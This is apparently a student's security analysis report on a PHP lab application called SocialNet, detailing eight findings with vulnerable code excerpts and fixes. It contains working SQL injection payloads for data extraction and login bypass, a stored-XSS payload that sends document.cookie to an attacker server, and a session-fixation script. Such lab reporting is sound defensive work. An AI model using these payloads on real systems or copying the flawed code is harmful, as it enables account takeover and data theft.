Web Application Security Analysis Report

Security Analysis Report SocialNet Application

Name:

StudentID:

Requirements:

You are requested to perform security analysis on your SocialNet application and complete your security analysis report according to the following sections.

---------- BEGIN OF YOUR REPORT ----------

I. Executive Summary

1. Target application:

The application analyzed in this report is **SocialNet**. The application includes several main pages. The **Admin Page** at /admin/newuser.php provides a form for creating new user accounts with fields such as username, full name, email, password, and description. The **Sign In Page** at /socialnet/signin.php is used for user authentication; after a valid username and password are submitted, the application creates a session and redirects the user to the Home page. The **Home Page** at /socialnet/index.php is the main dashboard for logged-in users. It displays the current user's information and lists other community members, including a search function to filter users by username or full name. The **Profile Page** at /socialnet/profile.php displays profile information such as full name, username, email, and description. It can show the current user's profile or another user's profile through the owner parameter in the URL. The **Setting Page** at /socialnet/setting.php allows logged-in users to update their "About Me" profile description, which is stored in the database and later displayed on the Profile page. The **About Page** at /socialnet/about.php shows basic project author information, including student name and student ID. The **Sign Out Page** at /socialnet/signout.php. Destroys the current session and redirects the user back to the Sign In page.

The source code for this application is hosted on GitHub at [LINK]. The security analysis and vulnerability testing were conducted on the **for_lab** branch of the repository.

2. Overall Security posture

This table summarizes your security related findings (vulnerabilities, defects, errors):

Finding Code	Type (SQLi/XSS/ XSRF/...)	Related pages	Severity (Critical/High/ Medium/Low)	Short Description
ATT-1	XSRF / Access Control	/socialnet/profile.php?owner=userX	Medium	View profile page of unauthorized user.
ATT-2	XSRF	/admin/newuser.php	High	Add new user via admin page in a crafted request.
ATT-3	SQLi	/socialnet/setting.php	High	Change profile page of any user or all users.
ATT-4	SQLi / UNION Query Attack	/socialnet/profile.php?owner=	High	List all usernames existing in the system.
ATT-5	SQLi / UNION Query Attack	/socialnet/signin.php	High	Login to any user account or login as a user that does not exist.
ATT-6	XSS / Session Hijacking	/socialnet/profile.php, /socialnet/setting.php	Critical	Hijack session of another user by stealing document.cookie.
ATT-7	XSS / Session Fixation	/socialnet/profile.php, /socialnet/signin.php	High	Access a logged-in session via session fixation.
ATT-8	Stored XSS	/socialnet/index.php , /socialnet/setting.php	Critical	Execute stored JavaScript on the Home page through the Community Members description field.

II. Vulnerability finding details:

[Provide details for each vulnerability finding in the previous table.]

1. Finding ATT-1:

Description: The Profile page is vulnerable to XSRF / Access Control weakness. A logged-in user can directly access another user's profile page by changing the owner parameter in the

URL. This allows unauthorized profile viewing without proper permission checking. The severity is rated Medium because the attack exposes user profile information, but it does not directly modify data or gain full account access.

Attack Vector Specification: (details description of how the finding is triggered)

- Step 1: Login with a normal user account.
- Step 2: Identify another target user, for example userX.
- Step 3: Open the following URL in the browser:

```
/socialnet/profile.php?owner=userX
```

If the application displays userX's profile without checking whether the current session user is allowed to view it, the attack is successful.

Root cause and suggestion:

[explain root cause of the vulnerability. Provide detailed information related such as source file in the library, line number in the source file, etc.]

- The root cause is missing authorization checking in /socialnet/profile.php. The application accepts the owner value from the query string and uses it to display another user's profile. The system only checks whether the user is logged in, but it does not check whether the logged-in user is eligible to view the targeted profile.
- Source file: socialnet/profile.php. Line Numbers: Lines 31 to 42

```
31: if (isset($_GET['owner'])) {
32:     $owner = $_GET['owner'];
33:     $query = "SELECT username, fullname, email,
description FROM account WHERE username = '" . $owner .
"'";
34:     $profile_result = $conn->query($query);
35:     if ($profile_result) {
36:         while ($row = $profile_result->fetch_assoc())
{
37:             $profile_users[] = $row;
38:         }
39:     } else {
40:         die("Database Query Error: " . $conn->error);
41:     }
42: } else { ... }
```

  At lines 31 and 32, the system directly takes the owner value from the URL ($_GET['owner']) to query information about another user.
- The suggested fix is to validate the current session user's permission before showing the requested profile. In addition, profile links should be generated by the server with a valid CSRF token, and the token should be checked before processing the request.

2. Finding ATT-2

Description: The Admin page is vulnerable to XSRF. An attacker can craft a request to /admin/newuser.php to create a new user account through the admin function. The application processes the user creation request without enforcing proper CSRF protection and without restricting the page to authorized admin users only. This finding is rated High because it allows unauthorized user creation, which may lead to privilege abuse or further attacks on the application.

Attack Vector Specification: (details description of how the finding is triggered)

- Step 1: Analyze the Admin page at /admin/newuser.php and identify the required form fields: username, fullname, email, password, and description.
- Step 2: Craft a request to /admin/newuser.php with valid values for those fields.
- Step 3: Submit the crafted request. If the application creates a new user without verifying the request origin or checking admin authorization, the attack is successful.

Root cause and suggestion:

- The root cause is missing CSRF protection and insufficient access control on the Admin page. The affected source file is:

  Source file: admin/newuser.php

  Affected endpoint: /admin/newuser.php

- Line numbers: 1 - 18

```
1: <?php
2: ini_set('session.cookie_httponly', '0');
3: ini_set('session.use_strict_mode', '0');
4: session_start();
5:
6:
7:
8: require_once "../db.php";
9:
10: $message = "";
11:
12: if ($_SERVER["REQUEST_METHOD"] === "POST" ||
isset($_GET["username"])) {
13:     // Lấy thông tin từ form
14:     $username = trim($_REQUEST["username"] ?? "");
15:     $fullname = trim($_REQUEST["fullname"] ?? "");
16:     $email    = trim($_REQUEST["email"] ?? "");
17:     $password = $_REQUEST["password"] ?? "";
```

```
18:     $description = trim($_REQUEST["description"] ??
"");
```

- At lines 1–12, the application starts a session and begins processing the user creation request, but there is no authorization check to verify whether the current user is an admin. At lines 14–18, the application directly reads user creation parameters from $_REQUEST, which can accept data from both GET and POST requests. However, before processing these parameters, the server does not validate a CSRF token and does not verify that the request comes from a legitimate admin action.
- The suggested fix is to restrict /admin/newuser.php to authenticated admin users only. The server should check the current user's role or permission before allowing account creation. In addition, the application should generate a CSRF token for the form and validate that token on every user creation request. If the token is missing or invalid, the request should be rejected. Server-side protection such as Nginx Basic Authentication can also be used to protect the admin page.

3. Finding ATT-3

Description: The Setting page is vulnerable to SQLi. A logged-in user can submit a crafted value in the profile description field to manipulate the SQL update query. If the attack is successful, the attacker can change the profile page content of another user or all users. This finding is rated High because it allows unauthorized data modification and affects the integrity of user profile data.

Attack Vector Specification: (details description of how the finding is triggered)

- Step 1: Login with a normal user account.
- Step 2: Identify a victim user account in the system.
- Step 3: Open the Setting page at /socialnet/setting.php and submit a crafted payload in the description field.

If the application updates another user's profile or updates multiple users' profiles, the attack is successful.

Root cause and suggestion:

- The root cause is unsafe SQL query construction in /socialnet/setting.php. The application accepts the description value from the form and uses it to update the description column in the account table. If this value is inserted directly into the SQL statement without parameterized query protection, an attacker can modify the SQL logic and change the profile page content of another user or all users.

- Affected source file: socialnet/setting.php
  Affected endpoint: /socialnet/setting.php
  Affected parameter: description
  Affected lines: Lines 33–39.

```
32: // Xử lý cập nhật thông tin
33: if ($_SERVER["REQUEST_METHOD"] == "POST") {
34:     $new_description = $_POST["description"] ?? "";
35:
36:     $query = "UPDATE account SET description =
'$new_description' WHERE id = $user_id";
37:
38:     if ($conn->query($query)) {
39:         $message = "Description updated
successfully!";
```

- At line 34, the application receives the profile description directly from user input through $_POST["description"]. At line 36, this value is directly concatenated into the SQL UPDATE statement. Because the application does not use a parameterized query or prepared statement, an attacker can inject SQL syntax into the description field and modify the original query logic.
- The suggested fix is to use a parameterized query instead of directly concatenating user input into the SQL command. The application should bind the description value and user_id as parameters so that user input is treated as data, not executable SQL code.

```
$update_stmt = $conn->prepare("UPDATE account SET
description = ? WHERE id = ?");
$update_stmt->bind_param("si", $new_description,
$user_id);
$update_stmt->execute();
```

4. Finding ATT-4

Description: The Profile page is vulnerable to SQLi / UNION Query Attack. An attacker can manipulate the owner parameter in the URL to change the original SQL query and retrieve usernames or other user information from the database. This finding is rated High because it allows unauthorized data disclosure and can help the attacker enumerate existing accounts for further attacks.

Attack Vector Specification:

- Step 1: Login with a normal user account.
- Step 2: Open the Profile page with a normal owner parameter to verify that it works:

```
/socialnet/profile.php?owner=userX
```

- Step 3: Replace the owner value with a crafted SQL Injection / UNION Query payload. If the application displays usernames or user information from other records, the attack is successful.

Root cause and suggestion:

- The root cause is unsafe SQL query construction in /socialnet/profile.php.
- Affected source file: socialnet/profile.php
- Affected lines: 31–42
  Affected parameter: owner
  Affected endpoint: /socialnet/profile.php?owner=

```
31: if (isset($_GET['owner'])) {
32:     $owner = $_GET['owner'];
33:     $query = "SELECT username, fullname, email,
description FROM account WHERE username = '" . $owner .
"'";
34:     $profile_result = $conn->query($query);
35:     if ($profile_result) {
36:         while ($row = $profile_result->fetch_assoc())
{
37:             $profile_users[] = $row;
38:         }
39:     } else {
40:         die("Database Query Error: " . $conn->error);
41:     }
42: }
```

- At line 32, the application receives the owner value directly from the URL parameter $_GET['owner'] without proper validation or sanitization. At line 33, this value is directly concatenated into the SQL SELECT statement instead of being handled through a prepared statement with bound parameters.

  An attacker can pass a malicious owner value containing a UNION SQL payload, for example:

```
?owner=userX' UNION SELECT username, password, email,
description FROM account --
```

  The executed SQL query may become:

```
SELECT username, fullname, email, description
FROM account
WHERE username = 'userX'
UNION SELECT username, password, email, description FROM
account --'
```

This allows the attacker to combine the original profile query with another query that retrieves usernames, password hashes, emails, and descriptions from the account table. As a result, user data may be displayed on the Profile page without authorization.

- The suggested fix is to use a parameterized query for the owner parameter. The application should also validate the owner value, allow only valid username characters, and avoid displaying raw database error messages to users.

```
$profile_stmt = $conn->prepare(
    "SELECT username, fullname, email, description FROM
account WHERE username = ?"
);
$profile_stmt->bind_param("s", $owner);
$profile_stmt->execute();
```

5. Finding ATT-5

Description: The SignIn page is vulnerable to SQLi / UNION Query Attack. An attacker can submit a crafted payload in the username field to manipulate the login query. If the attack is successful, the attacker can log in to any user account or log in as a user that does not exist. This finding is rated High because it directly affects the authentication mechanism and may lead to unauthorized account access.

Attack Vector Specification:

- Step 1: Open the SignIn page at /socialnet/signin.php.
- Step 2: Generate a password hash for a chosen password, for example abc123.
- Step 3: Submit a crafted UNION Query payload in the username field and enter the chosen password in the password field.

Example payload format:

```
' AND 1=0 UNION SELECT 1, 'user5', '<generated_password_hash>'
--
```

Example password field:

```
abc123
```

If the application accepts the injected row, verifies the chosen password against the injected password hash, creates a session, and redirects to the Home page, the attack is successful.

Root cause and suggestion:

- The root cause is unsafe SQL query construction in /socialnet/signin.php. The application takes the username value directly from user input and concatenates it into the SQL query without using a prepared statement.
- Affected source file: socialnet/signin.php
  Affected endpoint: /socialnet/signin.php
  Affected parameter: username
  Affected lines: 12–16

```
11:     // Lấy dữ liệu đăng nhập
12:     $username = $_POST["username"];
13:     $password = $_POST["password"];
14:
15:     $query = "SELECT id, username, password FROM
account WHERE username = '$username'";
16:     $result = $conn->query($query);
```

  At line 12, the application receives the username directly from $_POST["username"]. At line 15, this value is directly inserted into the SQL SELECT statement. Because the application does not use a parameterized query or prepared statement, an attacker can inject SQL syntax into the username field.

  For example, when the attacker submits this payload:

```
' AND 1=0 UNION SELECT 1, 'user5',
'<generated_password_hash>' --
```

  the executed SQL query may become:

```
SELECT id, username, password FROM account
WHERE username = '' AND 1=0
UNION SELECT 1, 'user5', '<generated_password_hash>' -- '
```

  The condition 1=0 makes the original query return no real user record. The UNION SELECT part then injects a fake record into the result set, including an attacker-controlled username and password hash. Later, the application uses password_verify() to compare the submitted password, such as abc123, with the injected hash. If they match, the system creates a session and allows the attacker to log in.

- The suggested fix is to use a parameterized query / prepared statement for the login query.

6. Finding ATT-6

Description: The Profile feature is vulnerable to XSS / Session Hijacking. An attacker can store malicious script content inside the profile description field through /socialnet/setting.php. When another user views the attacker's profile page at

/socialnet/profile.php, the malicious script may execute in the victim's browser and steal document.cookie. If the victim's session cookie is captured, the attacker can reuse it to access the victim's logged-in session. This finding is rated Critical because it can lead to full session compromise and unauthorized access to another user's account.

Attack Vector Specification:

- Step 1: Login with an attacker account.
- Step 2: Open the Setting page at /socialnet/setting.php and save a malicious script inside the description field.
- Step 3: Wait for a victim user to view the attacker's profile page at /socialnet/profile.php.
- Step 4: When the profile page is loaded, the stored script executes in the victim's browser and reads document.cookie.
- Step 5: The attacker uses the captured session cookie to access the victim's logged-in session.

If the attacker can reload the application with the victim's session cookie and become logged in as the victim, the attack is successful.

Root cause and suggestion:

- The root cause is missing output encoding when displaying user-controlled profile content. The application allows users to save arbitrary content in the description field, and later displays that content on the Profile page without safely escaping HTML or JavaScript.
- Affected source file: socialnet/profile.php
  Affected endpoint: /socialnet/profile.php
  Related input page: /socialnet/setting.php
  Affected parameter: description
  Affected lines: 90–92, especially line 91.

```
90:                       <?php if
(!empty($profile_user['description'])): ?>
91:                           <p style="color: #2d3748;
line-height: 1.6;"><?= $profile_user['description']?></p>
92:                       <?php else: ?>
```

  At line 91, the application directly echoes $profile_user['description'] into the browser. This value is not passed through htmlspecialchars(). As a result, if the

description contains HTML or JavaScript code, the browser may interpret it as executable code instead of plain text.

Example malicious description value:

```
<script>fetch('http://attacker-server/steal?cookie=' +
document.cookie)</script>
```

When a victim views the attacker's profile page, the browser executes the script and sends the victim's cookie to the attacker-controlled server. If the session cookie is exposed, the attacker can reuse it to hijack the victim's session.

The suggested fix is to apply output encoding before displaying the profile description. The application should render user-controlled content as text, not executable HTML or JavaScript. Like:

```
<?= htmlspecialchars($profile_user['description'] ?? '',
ENT_QUOTES, 'UTF-8') ?>
```

7. Finding ATT-7

Description: The application is vulnerable to XSS / Session Fixation. An attacker can store a malicious script in the profile description field. When a victim views the attacker's profile page, the script can force the victim's browser to use a session ID known by the attacker. After that, when the victim logs in again, the application continues using the fixed session ID. The attacker can then reuse that same session ID to access the victim's logged-in session. This finding is rated High because it can lead to unauthorized account access through session takeover.

Attack Vector Specification:

- Step 1: The attacker prepares a known session ID and stores a malicious script in their profile description.
- Step 2: The attacker logs out from their own session.
- Step 3: The victim visits the attacker's profile page at /socialnet/profile.php?owner=attacker.
- Step 4: The stored script changes the victim's browser cookie to use the attacker-known session ID.
- Step 5: The victim logs in again. If the application does not regenerate the session ID after login, the victim's authenticated session is bound to the fixed session ID.
- Step 6: The attacker reloads the application with the same session ID. If the attacker gains access as the victim, the attack is successful.

Root cause and suggestion:

- The root cause is a combination of Stored XSS in /socialnet/profile.php and weak session handling in /socialnet/signin.php.
- Affected source file 1: socialnet/profile.php
  Affected lines: 90–92, especially line 91
  Affected parameter: description

```
90:                     <?php if
(!empty($profile_user['description'])): ?>
91:                         <p style="color: #2d3748;
line-height: 1.6;"><?= $profile_user['description']?></p>
92:                     <?php else: ?>
```

  At line 91, the application directly displays $profile_user['description'] without using htmlspecialchars(). This allows attacker-controlled JavaScript to execute when another user views the profile page. For example, the attacker may inject a script that sets the victim's cookie:

```
<script>document.cookie="PHPSESSID=attacker_known_session_
id; path=/";</script>
```

  Affected source file 2: socialnet/signin.php

  Affected lines: 22–28

```
21:         // Kiểm tra mật khẩu
22:         if (password_verify($password,
$user["password"])) {
23:             // Lưu session và chuyển trang
24:             $_SESSION["user_id"] = $user["id"];
25:             $_SESSION["username"] = $user["username"];
26:
27:             header("Location: index.php");
28:             exit();
29:         }
```

  At line 22, the application verifies the password successfully. At lines 24–25, it stores the authenticated user identity into the current session. However, the application does not call session_regenerate_id(true) before assigning session variables. Therefore, PHP may continue using the existing session ID, even if that session ID was previously fixed by the attacker through XSS.

- The suggested fix is to encode profile description output and regenerate the session ID immediately after successful login.

8. Finding ATT-8

Description: The Home page is vulnerable to Stored XSS. An attacker can store malicious JavaScript code in the profile description field through /socialnet/setting.php. When any logged-in user visits the Home page at /socialnet/index.php, the application displays the attacker's description inside the "Community Members" table without proper output encoding. As a result, the malicious script may execute automatically in the victim's browser. This finding is rated Critical because it can affect multiple users at once and may lead to session hijacking or other client-side attacks without requiring the victim to manually open the attacker's profile page.

Attack Vector Specification:

- Step 1: Login with an attacker account.
- Step 2: Open the Setting page at /socialnet/setting.php.
- Step 3: Enter a malicious script into the description field and save the changes.
- Step 4: Wait for another user to log in and visit the Home page at /socialnet/index.php.
- Step 5: When the Home page loads, the attacker's description is rendered in the "Community Members" table, and the malicious script is executed in the victim's browser.

If the malicious JavaScript executes automatically when the victim visits the Home page, the attack is successful.

Root cause and suggestion:

- The root cause is missing output encoding in /socialnet/index.php. The application displays user-controlled description content directly in the Home page without using htmlspecialchars().
- Affected source file: socialnet/index.php
  Affected endpoint: /socialnet/index.php
  Related input page: /socialnet/setting.php
  Affected parameter: description
  Affected lines: around lines 214–218, especially line 218.

```
213:                    <tbody>
```

```
214:                     <?php foreach ($all_users as
$u): ?>
215:                     <tr>
216:                         <td><?=
htmlspecialchars($u['username']) ?></td>
217:                         <td><?=
htmlspecialchars($u['fullname']) ?></td>
218:                         <td><?= $u['description'] ??
'' ?></td>
219:                         <td><a
href="profile.php?owner=<?= urlencode($u['username']) ?>"
class="btn-view-profile">View Profile</a></td>
220:                     </tr>
221:                     <?php endforeach; ?>
222:                 </tbody>
```

The application directly echoes $u['description'] into the HTML response without applying htmlspecialchars(). Therefore, if the description contains HTML or JavaScript code, the browser may interpret it as executable code instead of plain text.

When another user logs in and opens /socialnet/index.php, the malicious script may execute immediately because the Home page renders the attacker's description as part of the user list.

- The suggested fix is to apply output encoding to all displayed description values in /socialnet/index.php. The application should render user-controlled content as plain text, not executable HTML or JavaScript.

```
<td><?= htmlspecialchars($u['description'] ?? '', ENT_QUOTES, 'UTF-8') ?></td>
```

Also:

```
<p><?= htmlspecialchars($user['description'] ?? '', ENT_QUOTES, 'UTF-8') ?></p>
```

---------- END OF YOUR REPORT ----------